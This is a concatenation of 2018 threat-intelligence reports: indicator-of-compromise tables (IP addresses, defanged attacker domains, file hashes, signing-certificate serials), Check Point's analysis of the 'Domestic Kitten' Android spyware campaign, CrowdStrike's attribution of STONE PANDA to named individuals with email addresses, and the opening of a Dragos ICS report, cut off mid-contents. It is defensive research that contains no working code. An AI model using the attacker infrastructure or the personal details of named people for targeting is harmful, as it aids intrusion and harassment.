101.79.124.251 IP Address 101.79.124.254 IP Address 103.24.152.18 IP Address 103.25.9.191 IP Address 103.25.9.193 IP Address 103.25.9.194 IP Address 103.25.9.195 IP Address 103.25.9.200 IP Address 103.25.9.202 IP Address 103.25.9.240 IP Address 103.25.9.241 IP Address 103.25.9.242 IP Address 103.25.9.244 IP Address 103.28.46.79 IP Address 103.56.102.9 IP Address 104.199.139.211 IP Address 106.10.64.250 IP Address 113.10.168.162 IP Address 113.30.103.103 IP Address 113.30.123.254 IP Address 113.30.70.209 IP Address 113.30.70.216 IP Address 113.30.70.238 IP Address 113.30.70.254 IP Address 115.23.172.113 IP Address 116.31.99.65 IP Address 118.123.19.9 IP Address 118.123.229.22 IP Address 118.130.152.246 IP Address 119.63.38.210 IP Address 121.156.56.114 IP Address 121.54.169.39 IP Address 122.226.186.28 IP Address 122.49.105.16 IP Address 123.1.178.39 IP Address 123.249.7.226 IP Address 123.249.81.202 IP Address 14.29.50.66 IP Address 150.242.210.149 IP Address 150.242.210.15 IP Address 150.242.210.160 IP Address 150.242.210.161 IP Address 150.242.210.187 IP Address 150.242.210.195 IP Address 175.126.40.21 IP Address 180.210.43.134 IP Address 182.161.100.3 IP Address 182.237.3.60 IP Address 182.252.230.254 IP Address 183.60.106.205 IP Address 183.86.194.10 IP Address 183.86.194.16 IP Address 183.86.194.42 IP Address 183.86.194.92 IP Address 183.86.211.134 IP Address 183.86.218.167 IP Address 183.86.218.169 IP Address 183.86.218.170 IP Address 184.168.221.40 IP Address 184.168.221.64 IP Address 184.168.221.86 IP Address 192.225.226.74 IP Address 192.74.232.8 IP Address 192.74.237.164 IP Address 199.15.116.59 IP Address 199.15.116.61 IP Address 199.83.51.25 IP Address 202.153.193.90 IP Address 210.209.116.62 IP Address 210.4.223.134 IP Address 211.39.141.23 IP Address 211.44.42.53 IP Address 218.234.76.75 IP Address 19.135.56.175 IP Address 222.186.58.117 IP Address 23.252.164.156 IP Address 23.252.164.238 IP Address 27.255.64.94 IP Address 42.121.131.17 IP Address 45.114.9.206 IP Address 45.125.13.227 IP Address 45.125.13.247 IP Address 58.64.203.13 IP Address 61.111.3.101 IP Address 61.36.11.112 IP Address 69.56.214.232 IP Address 98.126.107.249 IP Address 98.126.193.223 IP Address 98.126.91.205 Domain 115game[.]com Domain 1songjiang[.]info Domain 3389[.]hk Domain 360[.]0pengl[.]com Domain 360antivirus[.]net Domain 64[.]3389[.]hk Domain amd-support[.]com Domain auth[.]ncsoft[.]to Domain baidusecurity[.]net Domain bak[.]timewalk[.]me Domain blog[.]unitys3d[.]com Domain bot[.]1songjiang[.]info Domain bot[.]360antivirus[.]org Domain bot[.]duola123[.]com Domain bot[.]eggdomain[.]net Domain bot[.]fbi123[.]com Domain bot[.]fengzigame[.]net Domain bot[.]godaddydns[.]net Domain bot[.]ibmsupport[.]net Domain bot[.]itunesupdate[.]net Domain bot[.]jjevil[.]com Domain by[.]dns-syn[.]com Domain cloud[.]0pendns[.]org Domain cloud[.]amd-support[.]com Domain cloud[.]dellassist[.]com Domain dark[.]anonshell[.]com Domain dns-syn[.]com Domain dns[.]0pengl[.]com Domain dns[.]360antivirus[.]org Domain dns[.]eggdomain[.]net Domain dns[.]godaddydns[.]net Domain down[.]fengzigame[.]net Domain eggdomain[.]net Domain fengzigame[.]net Domain fk[.]duola123[.]com Domain free[.]amd-support[.]com Domain global[.]ncsoft[.]to Domain godaddydns[.]com Domain gzw[.]3389[.]hk Domain help[.]0pengl[.]com Domain hijack[.]css2[.]com Domain home[.]ibmsupports[.]com Domain images[.]iphone-android-mobile[.]com Domain intelrescue[.]com Domain ios[.]0pengl[.]com Domain iphone-android-mobile[.]com Domain itunesupdate[.]net Domain jj[.]aresgame[.]info Domain jj[.]duola123[.]com Domain jj[.]fbi123[.]com Domain kasperskyantivirus[.]net Domain kp[.]css2[.]com Domain kuizq[.]ddns[.]info Domain lin[.]0pengl[.]com Domain lin[.]0penssl[.]com Domain linux[.]cocoss2d[.]com Domain linux[.]css2[.]com Domain linux[.]unitys3d[.]com Domain ls[.]0pendns[.]org Domain m[.]css2[.]com Domain m[.]unitys3d[.]com Domain mail[.]iphone-android-mobile[.]com Domain mzx[.]jjevil[.]com Domain new[.]dns-syn[.]com Domain news[.]0pengl[.]com Domain news[.]eggdomain[.]net Domain nokiadns[.]com Domain ns1[.]0pendns[.]org Domain ns1[.]amd-support[.]com Domain ns1[.]appledai1y[.]com Domain ns1[.]dellassist[.]com Domain ns1[.]nokiadns[.]com Domain ns2[.]0pendns[.]org Domain ns8[.]0pendns[.]org Domain ns9[.]amd-support[.]com Domain ns9[.]nokiadns[.]com Domain nss[.]aresgame[.]info Domain qqantivirus[.]com Domain rk[.]mtrue[.]com Domain rk[.]mtrue[.]net Domain roboscan[.]net Domain root[.]godaddydns[.]net Domain rus[.]css2[.]com Domain sale[.]ibmsupport[.]cc Domain sc[.]0pengl[.]com Domain sc[.]0penssl[.]com Domain sc[.]dellrescue[.]com Domain sc[.]dns-syn[.]com Domain sdfsd[.]iphone-android-mobile[.]com Domain smtp[.]iphone-android-mobile[.]com Domain ssl[.]0pengl[.]com Domain ssl[.]0penssl[.]com Domain support[.]godaddydns[.]cc Domain support[.]godaddydns[.]net Domain task[.]dns-syn[.]com Domain test[.]dellassist[.]com Domain udp[.]jjevil[.]com Domain udp[.]timewalk[.]me Domain up[.]roboscan[.]net Domain update[.]0pengl[.]com Domain update[.]360antivirus[.]net Domain update[.]css2[.]com Domain update[.]fengzigame[.]net Domain update[.]nortonantivir[.]us Domain update[.]qqantivirus[.]com Domain w[.]cocoss2d[.]com Domain waw[.]cocoss2d[.]com Domain waw[.]css2[.]com Domain waw[.]unitys3d[.]com Domain wsus[.]kasperskyantivirus[.]net Domain www[.]eggdns[.]com Domain www[.]iantivirus[.]us Domain yang[.]0pendns[.]org Domain zx[.]3389[.]hk Domain zx[.]css2[.]com Domain zx[.]duola123[.]com MD5 File Hash 011858556ad3a5ef1a6bbc6ad9eaae09 MD5 File Hash 027eb2cda9f1c8df00e26641ce4ef12d MD5 File Hash 045fd6e98a51a3c4e55a99bb6696f4de MD5 File Hash 04dc04a1a61769f33b234ad0f19fdc53 MD5 File Hash 11898306703dcbeb1ca2cd7746384829 MD5 File Hash 15ce067a4d370afae742db91646d26ee MD5 File Hash 175c7694d32191091334e20509a7b2c0 MD5 File Hash 1826efb7b1a4f135785ccfc8b0e79094 MD5 File Hash 19e137dc5974cfad5db62f96e3ba9fd1 MD5 File Hash 1fee79f50848493f08c5e5736594dab2 MD5 File Hash 218b1cd127a95a107dbaf4abe001d364 MD5 File Hash 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Cert Serial Num. 0F66842B4F9C458B72136F0AE96924B7 Code Signing Cert Serial Num. 112127474DE010DA49D31D0EE8193EAC2D0E Code Signing Cert Serial Num. 1121333A0B1EA5C37487BE5B034CE7E548C2 Code Signing Cert Serial Num. 1121A39E974748623CA6E3E49A8BAEB3ED3A Code Signing Cert Serial Num. 1121B967F092CBF19234F4F18F730F4F767B Code Signing Cert Serial Num. 1121BE355D779209D9115CAB4F639917EB72 Code Signing Cert Serial Num. 1121C4FE70E986B0A09CECA460359F98E5EE Code Signing Cert Serial Num. 22CF7DA7B76FC5C4E77225CFA1BDA497 Code Signing Cert Serial Num. 27A433CA2FE767B65EB96E4304C92E53 Code Signing Cert Serial Num. 2B5A383157EFC7CD2617EF32F0A7ACB9 Code Signing Cert Serial Num. 2B6EF1471DFC04ED3CB642AC56F139E5 Code Signing Cert Serial Num. 2F046D1750F5F527BD6F57503A7CAA07 Code Signing Cert Serial Num. 3308CED5C19726541B196F805AC50CD0 Code Signing Cert Serial Num. 4505E9AC8D288D763A1088ED1E2C8A60 Code Signing Cert Serial Num. 57BE1A00D2E59BDBD19524AAA17ED93B Code Signing Cert Serial Num. 597683B68EF6B0C8BE2D85A212B51910 Code Signing Cert Serial Num. 76311C06EB80095EB520D02BDE7FAC1F Code Signing Cert Serial Num. 7A00ACB77008A72110110E0D6635B97F Code Signing Cert Serial Num. 7E12573328ADF45B6F3EC341E646293A Area #7: Type Indicator Domain chinadagitaltimes[.]net Domain datalink[.]one Domain bowenpress[.]org Domain bowenpress[.]net Domain bowenpross[.]com Domain tibetonline[.]info WHOIS Phone 12126881188 WHOIS Email aobama_5@yahoo[.]com Area #8: Type Indicator IP Address 103.82.52.111 IP Address 103.82.52.18 IP Address 118.184.85.135 IP Address 118.193.222.253 IP Address 205.209.149.144 IP Address 205.209.186.164 Domain 5tua[.]com Domain 862283496@qq[.]com Domain aboluewang[.]com Domain airsportschina[.]net Domain bafangqudao[.]com Domain chongzhonglaw[.]com Domain duoxiantong[.]com Domain find-iphone-icloudcn[.]com Domain find-iphone-icloudids[.]com Domain find-iphone-iclouds[.]com Domain find-iphone-icloudss[.]com Domain find-iphone-idicloud[.]com Domain find-iphone7-icloud[.]com Domain find-iphoneid-itunes[.]com Domain freesss[.]net Domain gistal[.]com Domain guizuidc[.]com Domain huanjue123[.]zs[.]guizuidc[.]com Domain kuaiwenwang[.]com Domain laoa8[.]com Domain lycostal[.]com Domain mail[.]gistal[.]com Domain mail[.]lycostal[.]com Domain mail[.]openncheckmail[.]com Domain maozai huanjue Domain mianbeiankj[.]com Domain openmd5[.]com Domain openncheckmail[.]com Domain senvmeitu[.]com Domain shijihulian[.]com Domain shiyuesun[.]com Domain tjglmy[.]com Domain tqvps[.]com Domain ttidc[.]net Domain tyuweb[.]com Domain user[.]xiangyunvps[.]com Domain user[.]xiangyunvps[.]net Domain vpsgys[.]com Domain www[.]5tua[.]com Domain www[.]chongzhonglaw[.]com Domain www[.]duoxiantong[.]com Domain www[.]find-iphone-idicloud[.]com Domain www[.]find-iphone7-icloud[.]com Domain www[.]kuaiwenwang[.]com Domain www[.]laoa8[.]com Domain www[.]tqvps[.]com Domain www[.]ttidc[.]net Domain www[.]xiangyunhulian[.]com Domain www[.]xiangyunvps[.]com Domain www[.]xiangyunvps[.]net Domain www[.]xunsuhulian[.]com Domain xgyun[.]vip Domain xiangyunhulian[.]com Domain xiangyunvps[.]net Domain xunsuhulian[.]com MD5 File Hash 3b58e122d9e17121416b146daab4db9d MD5 File Hash b6be3f0864354a2e68144d17c3884d3b MD5 File Hash d848d4ec24e678727b63251e54a0a5de WHOIS Email huajue1019@qq[.]com WHOIS Email huajue1019@vip.qq[.]com WHOIS Email huanjue1019@qq[.]com WHOIS Email rooterit@outlook[.]com SSL Cert SHA1 5a1c6ae9e2633df29c01a2668538e0203de375b2 About 401TRG 401TRG (Threat Research Group) is the Threat Research & Analysis Team at ProtectWise. Using our experience and background in incident response and network forensics in both the public and private sectors, we study ProtectWise's extensive network-oriented datasets. This work is focused around network traffic analysis, reverse engineering malware, building behavioral detections, and much more. We are sharing our knowledge and intelligence discoveries with fellow network defenders and information security professionals to strengthen the community as a whole. 2018 ProtectWise, Inc. All rights reserved. Domestic Kitten: An Iranian Surveillance Operation research.checkpoint.com/domestic-kitten-an-iranian-surveillance-operation September 7, 2018 Chinese strategist Sun Tzu, Italian political philosopher Machiavelli and English philosopher Thomas Hobbes all justified deceit in war as a legitimate form of warfare. Preceding them all, however, were some in the Middle East who had already internalized and implemented this strategy to great effect, and continue to do so today. Recent investigations by Check Point researchers reveal an extensive and targeted attack that has been taking place since 2016 and, until now, has remained under the radar due to the artful deception of its attackers towards their targets. Through the use of mobile applications, those behind the attack use fake decoy content to entice their victims to download such applications, which are in fact loaded with spyware, to then collect sensitive information about them. Interestingly, these targets include Kurdish and Turkish natives and ISIS supporters. Most interesting of all, though, is that all these targets are actually Iranians citizens. What Information is Collected? Considering the nature of the target, the data collected about these groups provides those behind the campaign with highly valuable information that will no doubt be leveraged in further future action against them. Indeed, the malware collects data including contact lists stored on the victim s mobile device, phone call records, SMS messages, browser history and bookmarks, geo-location of the victim, photos, surrounding voice recordings and more. Who is Behind the Attack? While the exact identity of the actor behind the attack remains unconfirmed, current observations of those targeted, the nature of the apps and the attack infrastructure involved leads us to believe this operation is of Iranian origin. In fact, according to our discussions with intelligence experts familiar with the political discourse in this part of the world, Iranian government entities, such as the Islamic Revolutionary Guard Corps (IRGC), Ministry of Intelligence, Ministry of Interior and others, frequently conduct extensive surveillance of these groups. Indeed, these surveillance programs are used against individuals and groups that could pose a threat to stability of the Iranian regime. These could include internal dissidents and opposition forces, as well as ISIS advocates and the Kurdish minority settled mainly in Western Iran. 1/10 While our investigation is still in progress, the research below reveals the full extent of these targeted attacks, its infrastructure and victims and the possible political story behind it. In the meantime, we have dubbed this operation Domestic Kitten in line with the naming of other Iranian APT attacks. Data Collection via Mobile Applications Victims are first lured into downloading applications which is believed to be of interest to them. The applications our researchers discovered included an ISIS branded wallpaper changer, updates from the ANF Kurdistan news agency and a fake version of the messaging app, Vidogram. Regarding the ISIS-themed application, its main functionality is setting wallpapers of ISIS pictures, and therefore seems to be targeting the terror organization s advocates. Curiously, its Arabic name is grammatically incorrect ( , which should instead be Figure 1: The application offering Isis-related wallpapers. 2/10 Figure 2: ANF News Agency website, on which the decoy app is based. 3/10 With regards to the ANF News Agency app, while ANF is a legitimate Kurdish news website its app has been fabricated by the attackers to pose as the legitimate app in order to deceive their targets. Due to the names and content that is offered by the above mentioned applications then, we are lead to believe that specific political groups and users, mainly ISIS supporters and the Kurdish ethnic group, are targeted by the operation. However, when most of the victims are actually Iranian citizens, it raises more pertinent questions about who may be behind the attack. Due to the attack infrastructure, reviewed below, and its consistency with previous investigations of state-sponsored Iranian operations covered by Check Point researchers, we were led to believe that Iranian government agencies may well be behind the campaign. Technical Analysis A closer look at each of the applications used in the campaign show them to have the same certificate that was issued in 2016. This certificate is associated with the e-mail address telecom2016@yahoo[.]com , as seen below. Figure 3: Attack applications certificate uses the same email address telecom2016@yahoo[.]com Unfortunately not much is known about this e-mail address, as it was not used to register any domain names or to launch attacks in the past. Another unique characteristic of the applications used, though, is that all of the samples analyzed have several classes that are under a misspelled package name, andriod.browser 4/10 Figure 4: The malicious applications classes. These classes are seen to be in charge of data exfiltration, collecting sensitive information from the victim s device. Such information includes: SMS/MMS messages phone calls records Contacts list Browser history and bookmarks External storage Application list Clipboard content Geo-location and camera photos Interestingly, they also collect surrounding voice recordings. 5/10 Figure 5: Examples of the malicious code. All of the stolen data is then send back to C&C servers using HTTP POST requests. Additionally, one of the applications contacts firmwaresystemupdate[.]com, a newly registered website that was seen to resolve to an Iranian IP address at first, but then switched to a Russian address. Figure 6: One of the decoy applications contact firmwaresystemupdate[.]com The rest of the applications contact IP addresses directly, which unlike the previous domain, are base64 encoded and XORed: 6/10 Figure 7: The C&C decoding. Although these IP addresses were contacted directly, they are newly registered domains that resolve to each of the IP addresses and they all follow the same pattern of a first namesurname naming convention: Stevenwentz[.]com Ronaldlubbers[.]site Georgethompson[.]space Each victim then receives a unique device UUID (a UUID is the encoded value of device android_id), which appears at the beginning of each log that is sent back to the attacker, with the title of each log having the same structure: UUID_LogDate_LogTime.log. When a log is created for a victim, some basic information is then collected and documented prior to the logging of phone call details. In addition, all the logs use a unique delimiter to separate between the fields of the stolen data: Figure 8: SMS log example. The different classes then collect relevant data, and add them to such a log that is then zipped. Afterwards, the archive is encrypted using AES, with the device UUID as the encryption key, as seen in the below code: 7/10 Figure 9: The application s encryption method. This information is collected and sent back to C&C servers when the command is received from the attacker. These commands also follow the same structure as the log, as it uses the same delimiter, and can include things such as Get File Set Server Get Contacts and more: Figure 10: Example of commands sent from the server. As a result of all the above, this glance into inner working of this attack infrastructure therefore allowed us to form a precise idea about how wide this attack is and the victims targeted. Victim Distribution Having analyzed the full extent of the operation, as well as some extensive information about the attacked devices and the log files collected, we understood that around 240 users have so far fallen victim to this surveillance campaign. In addition, due to careful documentation of the campaign by its creators showed we were able to learn that over 97% of its victims are Iranian, consistently aligning with our estimation that this campaign is of Iranian origin. 8/10 In addition to the Iranian targets discovered, we also found victims from Afghanistan, Iraq and Great Britain. Interestingly, the log documentation includes the name of the malicious application used to intercept the victims data, as well as an Application Code Name field. This field includes a short description of the app, which leads us to believe that this is a field used by the attackers to instantly recognize the application used by the victim. Observed code names includes Daesh4 (ISIS4), Military News Weapon2 Poetry Kurdish Below is a visualization of the attacked devices and mobile vendors that were documented in the logs: Figure 11: A breakdown of attacked devices and mobile vendors. While the number of victims and their characteristics are detailed above, the number of people affected by this operation is actually much higher. This is due to the fact that the full contact list stored in each victim s mobile device, including full names and at least one of their phone numbers, was also harvested by the attackers. In addition, due to phone calls, SMS details, as well as the actual SMS messages, also recorded by the attackers, the private information of thousands of totally unrelated users has also been compromised. 9/10 Check Point s Mobile solutions can protect against this type of attack. For enterprises, read more about Check Point s Sand Blast Mobile, and for consumers Check Point s Zone Alarm Mobile, to learn how you can protect your device from malicious and invasive mobile malware. We wish to thank Dr. Raz Zimmt, an expert on Iran at the Institute for National Security Studies (INSS), for his illuminating insights. Indicators of Compromise c168f3ea7d0e2cee91612bf86c5d95167d26e69c 0fafeb1cbcd6b19c46a72a26a4b8e3ed588e385f f1355dfe633f9e1350887c31c67490d928f4feec d1f70c47c016f8a544ef240487187c2e8ea78339 162[.]248[.]247[.]172 190[.]2[.]144[.]140 190[.]2[.]145[.]145 89[.]38[.]98[.]49 Firmwaresystemupdate[.]com Stevenwentz[.]com Ronaldlubbers[.]site Georgethompson[.]space 10/10 Two Birds, One STONE PANDA crowdstrike.com/blog/two-birds-one-stone-panda Adam Kozy August 30, 2018 Introduction In April 2017, a previously unknown group calling itself IntrusionTruth began releasing blog posts detailing individuals believed to be associated with major Chinese intrusion campaigns. Although the group s exact motives remain unclear, its initial tranche of information exposed individuals connected to long-running GOTHIC PANDA (APT3) operations, culminating in a connection to the Chinese firm Boyusec ( ) and, ultimately, Chinese Ministry of State Security (MSS) entities in Guangzhou. Recently, in July and August 2018, IntrusionTruth has returned with new reporting regarding actors with ties to historic STONE PANDA (APT10) activity and has ultimately associated them with the MSS Tianjin Bureau ( ). Though CrowdStrike Falcon Intelligence currently unable to confirm all of the details provided in these most recent posts with a high degree of confidence, several key pieces of information can be verified. Several of the named individuals have been active registering domains as recently as June 2018, and they responded to the IntrusionTruth blog posts by scrubbing their social media or by following IntrusionTruth s Twitter account. Named individuals ZHANG Shilong and GAO Qiang have significant connections to known Chinese hacking forums, and they have sourced tools currently in use by China-based cyber adversaries. ZHANG has registered several sites with overlapping registrant details that show both his affiliation with several physical technology firm addresses as well as his residence in Tianjin. Named firm Huaying Haitai has been connected to a Chinese Ministry of Industry and Information Technology (MIIT) sponsored attack and defense competition; this is similar to GOTHIC PANDA s ties to an active defense lab sponsored by China Information Technology Evaluation Center (CNITSEC). Huaying Haitai has previously hired Chinese students with Japanese language skills; this is significant, as STONE PANDA has engaged in several campaigns targeting Japanese firms. The MSS Tianjin Bureau is confirmed to be located at the described address, not far from many of the registrant addresses listed by ZHANG as well the firms GAO was likely recruiting for. More details that may further illuminate these findings and provide a higher confidence in connecting STONE PANDA to the MSS Tianjin Bureau are likely to emerge. Background Throughout May 2017, using a variety of historical information and open-source intelligence (OSINT), IntrusionTruth released several blog posts identifying several individuals connected to Boyusec. Though CrowdStrike s Threat Intelligence team had suspected GOTHIC PANDA was an MSS contractor for several years, the IntrusionTruth posts and subsequent research by RecordedFuture into MSS ties to the China Information Technology Evaluation Center (CNITSEC/ ) corroborated additional details from various sources and provided a higher degree of confidence. Confidence in these findings was further boosted when the U.S. Department of Justice named Boyusec and several of the described individuals in an indictment, and detailed GOTHIC PANDA tactics, techniques, and procedures (TTPs) in detail. CrowdStrike Falcon Intelligence was able to independently verify the majority of this information and concluded that not only is CNITSEC associated with the MSS, but its former director WU Shizhong ( ) was simultaneously dual-hatted as the director of the MSS Technology/13th Bureau ( )1 2 3, implying that the MSS plays a crucial role in China s code review of foreign products and is now able to cherry pick high-value vulnerabilities from its own capable domestic bug hunting teams. CNITSEC s role in code review for foreign entities has led to its access to Microsoft s source code dating back to 2003 and the use by KRYPTONITE PANDA of a high-value vulnerability (CVE-2018-0802), discovered by Chinese firm Qihoo 360, a month before it was publicly revealed. WU Shizhong Presenting on the Digital Silk Road at the Second Wuzhen World Internet Conference in 2015 As research into the IntrusionTruth leads on STONE PANDA continues, Falcon Intelligence has already observed some consistencies with known MSS operations. Sinking Like a STONE GAO Qiang ( Many of the personal details for GAO were scrubbed shortly after IntrusionTruth s post introducing him went live, including his Tencent QQ account. The blog connects him to the moniker fisherxp via an initial spear-phishing campaign from 2010 previously attributed to STONE PANDA. Multiple sites with profile pictures appear to show the owner of the fisherxp accounts, though this has yet to be independently confirmed as GAO. Fisherxp s QQ shows his alternate username as big porker . IntrusionTruth later links GAO to several documented Uber rides to the MSS Tianjin Bureau s office address where both his first name, Qiang/ , and are used by the app to identify him and tie him to the QQ number 420192. CrowdStrike cannot confirm the validity of these Uber receipts at this time. However, fisherxp s account on popular Chinese technology forum 51CTO is still active and shows that he has downloaded not only the open-source DarkComet RAT and numerous password cracking tools, but more importantly, several favorite tools used by a plethora of known Chinese cyber adversaries including Gh0st RAT 3.6, zxarps (an ARP-spoofing tool by legacy hacker LZX), and lcx.exe (a port-forwarding tool by legacy hacker LCX)4. ZHANG Shilong ( ZHANG was originally introduced by IntrusionTruth as a reciprocal follower of fisherxp s Twitter account via his own @baobeilong account. Baobeilong ( Baby Dragon ) also maintained a GitHub account that had forked both the Quasar and Trochilus RATs, two open-source tools historically used by STONE PANDA, but the account has since been scrubbed. This information was verified by CrowdStrike before being removed completely. Falcon Intelligence recently independently conducted detailed analysis of the RedLeaves malware used to target numerous Japanese defense groups and found it was directly sourced from Trochilus code, but it has undergone several evolutions and contains prefixes suggesting it could also be used to target Russia and the DPRK. There is no conclusive evidence at this time that RedLeaves is solely attributed to STONE PANDA. Baobeilong did maintain a Flickr account with numerous pictures that proved key in identifying his location later, similar to how cpyy s photos helped identify his affiliation to the People s Liberation Army (PLA) in CrowdStrike PUTTER PANDA report. IntrusionTruth then drew connections from baobeilong s other online accounts to registrant details for xiaohong[.]org, which dated back to 2007 and revealed ZHANG s full name ZHANG Shilong. From there, a trail of overlapping registrant details reveals ZHANG s hanzi characters for his name ( ), likely one of his personal home addresses, potential work addresses and several email addresses: long@xiaohong[.]org baobei@xiaohong[.]org atreexp@yahoo[.]com.cn robin4700@foxmail[.]com eshilong@vip.qq[.]com Specifically tracing registrant details from atreexp robin4700 eshilong shows that ZHANG was active registering sites as recently as June 5, 2018, including a personal blog where his picture and name features prominently along with several technology-related blog posts. A picture from baobeilong s Flickr account shows a fire at the Tianjin Medical Center 120 Laoying Baichen Instruments The original blog post on GAO lists his contact information in recruitment postings for two separate companies, one of which is Laoying Baichen Instruments (characters unknown at the time of this writing). No records could be found for such a firm, however, IntrusionTruth lists the address associated with it as Room 1102, Guanfu Mansion, 46 Xinkai Road, Hedong District, Tianjin ( 1102). During the course of investigating Laoying and the Guanfu mansion, Falcon Intelligence noticed that the Guanfu Mansion is also the registered address of a firm called Tianjin Henglide Technology Co., Ltd. ( ), which is listed as one of only a few review centers certified by CNITSEC in Tianjin5. Laoying and Henglide are listed as being on different floors, however having a CNITSEC review center in the same building is noteworthy given CNITSEC s connection to MSS and previous linkage to Boyusec/GOTHIC PANDA. Zhang is believed to have taken the photo of the fire from the Wanchan Meizhuan Mansion. This is relatively close to both the Yuyang Complex (one of Zhang s listed registrant addresses) and the Guanfu Mansion, Laoying Baichen s listed address. Tianjin Huaying Haitai Science and Technology Development Company The other firm GAO appears to have been recruiting for is Huaying Haitai ( ). As the IntrusionTruth blog post mentions, it is a registered firm with two listed representatives, Fang Ting ( ) and Sun Lei ( ), and a listed address of 1906 Fuyu Mansion 1-1906). Searches for more information on Huaying Haitai turned up two interesting government documents. One is a recruitment Excel sheet detailing recent graduates, their majors and their new employers and addresses. Huaying Haitai is listed as having hired a recently graduated female student from Nankai University in 2013 who majored in Japanese. This is interesting considering STONE PANDA s extensive targeting of Japanese defense firms after this time period, but it is by no means conclusive evidence that the firm is connected to STONE PANDA. The second government document lists Huaying Haitai as the co-organizer of a Network Security Attack and Defense competition with the Ministry of Industry and Information Technology s (MIIT) national training entity, NSACE 6. It was open for all students of Henan Province. NSACE appears to be a national education body that teaches network information security, including offensive activity 7. This information is particularly interesting given Boyusec s previous work at CNITSEC s Guangdong subsidiary setting up a joint active defense lab8. It suggests that these technology firms act as both shell companies and recruitment grounds for potential MSS use in cyber operations. MSS Tianjin Bureau The most recent IntrusionTruth post assesses that GAO s Uber rides frequently took him from Huaying s address at the Fuyu Mansion to 85 Zhujiang Road ( When observed closely, the compound is a striking one complete with towers, a fenced perimeter with surveillance cameras, guarded entrances, and a building with a significant number of satellite dishes. There are no markers on the building and no government listed address; however, it is apparently difficult for locals to determine where the Tianjin Bureau s location is as well. There are several Baidu questions asking what transportation routes are best to get to that specific address. Three separate ones specifically mention the 85 Zhujiang Road address as the headquarters for the MSS s Tianjin Bureau and the difficulty in finding its location9 10 11 . As with most cyber-enabled operations, satellite arrays are often indicative of installations with significant signals intelligence (SIGINT) capabilities. The Tianjin Bureau appears to have the potential for such capabilities, housing several large arrays that appear to have existed since at least January 2004. Barely visible satellite dishes from the street view of 85 Zhujiang Road outside the compound Conclusion There are still significant intelligence gaps that prevent Falcon Intelligence from making an assessment about STONE PANDA s potential connections to the MSS Tianjin Bureau with a high degree of confidence. However, additional information is likely to materialize either directly from IntrusionTruth or from other firms in the infosec community who are undoubtedly looking at this material as well and may have unique insight of their own. Ultimately, IntrusionTruth s prior releases on GOTHIC PANDA proved accurate and led to a U.S. Department of Justice indictment resulting in the dismantling of Boyusec. From their latest post, which contains GAO s Uber receipts, it is clear the group information likely goes beyond merely available OSINT data. It cannot be ignored that there are striking similarities between the entities associated with GOTHIC PANDA and the actors and firms mentioned in the blogs about STONE PANDA. In addition, FalconIntelligence notes that following the late 2015 Sino-U.S. brief cyber detente, much of the responsibility for western cyber intrusion operations was handed to the MSS as the PLA underwent an extensive reform that is still currently underway, and which is consolidating its military cyber forces under the Strategic Support Force. Though the detente saw an initial drop in Chinese intrusion activity, it has steadily been increasing over the past several years, with a majority of the intrusions into western firms being conducted by suspected contractors. These adversaries are tracked by CrowdStrike as GOTHIC PANDA, STONE PANDA, WICKED PANDA, JUDGMENT PANDA, and KRYPTONITE PANDA. Many of these adversaries have begun targeting supply chain and upstream providers to establish a potential platform for future operations and enable the collection of larger sets of data. While the APT1, PUTTER PANDA, and Operation CameraShy reports all exposed PLA units at a time when Chinese military hacking against western firms was rampant, the attention has now swung toward identifying MSS contractors. The exposure of STONE PANDA as an MSS contractor would be another blow to China s current cyber operations given STONE PANDA s prolific targeting of a variety of sectors, and may prompt an additional U.S. investigation at a tenuous time for Sino-U.S. relations during an ongoing trade war. However, it is important to note that such public revelations often force these actors to cease operations, improve their operational security (OPSEC), and then return stronger than before. As such, CrowdStrike Falcon Intelligence assesses that although Boyusec may have shuttered, elements of GOTHIC PANDA are likely to still be active. The same is likely to be true for STONE PANDA following a period of silence. The activities of STONE PANDA impact entities in the Aerospace & Defense, Government, Healthcare, Technology, Telecommunications Services of several nations. For more information on how to incorporate intelligence on threat actors like STONE PANDA into your security strategy, please visit the Falcon Intelligence product page. Footnotes 1. http://kjbz.mca.gov[.]cn/article/mzbzhzcwj/201106/20110600157934.shtml 2. http://bjgwql[.]com/a/hezuojiaoliu/2011/0422/288.htm 3. http://alumni.ecnu.edu[.]cn/s/328/t/528/3b/02/info80642.htm 4. http://down.51cto[.]com/424761/down/1/ 5. http://www.djbh[.]net/webdev/web/LevelTestOrgAction.do?p=nlbdLv3&id=402885cb35d11a540135d168e41e000c 6. http://rjzyjsxy.zzia.edu[.]cn/picture/article/25/27/01/6c8b24a143f9959a85301d4527f0/801f81cf-8f30-4aa4-8428-7f9d4e778e76.doc 7. http://www.yingjiesheng[.]com/job-001-607-536.html 8. https://www.recordedfuture.com/chinese-mss-behind-apt3/ 9. https://zhidao.baidu[.]com/question/1046720364336588899.html? fr=iks&word=%CC%EC%BD%F2%CA%D0%D6%E9%BD%AD%B5%C085%BA%C5%CA%C7%CA%B2%C3%B4%B5%A5%CE%BB%C2%EF&ie=gbk 10. https://zhidao.baidu[.]com/question/146035392.html? fr=iks&word=%CC%EC%BD%F2%CA%D0%D6%E9%BD%AD%B5%C085%BA%C5%CA%C7%CA%B2%C3%B4%B5%A5%CE%BB%C2%EF&ie=gbk 11. https://zhidao.baidu[.]com/question/223614321.html? fr=iks&word=%CC%EC%BD%F2%CA%D0%D6%E9%BD%AD%B5%C085%BA%C5%CA%C7%CA%B2%C3%B4%B5%A5%CE%BB%C2%EF&ie=gbk INDUSTRIAL CONTROL SYSTEM THREATS Industrial Control System Threats , Dragos, Inc., Hanover, MD, 1 March 2018 TABLE OF CONTENTS 2017: A YEAR IN THREATS . . . . . . . . . . . . . . . . . 01 INDUSTRIAL CONTROL SYSTEM THREATS . . . . . . . 02 2017 ICS THREAT REVIEW 2017 ICS THREATS . . . . . . . . . . . . . . . . . . . . . . 03 A SUMMARY NEW ICS-FOCUSED MALWARE . . . . . . . . . . . . . . . . . . 04 TRADITIONAL IT MALWARE CRIPPLING OPERATIONAL NETWORKS . . . . . . . . . . . . . . . . . . . . 04 ADVERSARIES STAYING BUSY: ICS-FOCUSED ACTIVITY . . . . . . . . . . . . . . . . . . . . . . 04 RECOMMENDATIONS . . . . . . . . . . . . . . . . . . . . 05 2017 ICS THREATS IN DETAIL . . . . . . . . . . . . . . . 06 CRASHOVERRIDE . . . . . . . . . . . . . . . . . . . . . . . . . . 07 TRISIS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 08 DISRUPTIVE IT MALWARE . . . . . . . . . . . . . . . . . . . . . 09 ACTIVITY GROUPS . . . . . . . . . . . . . . . . . . . . . . 11 ELECTRUM . . . . 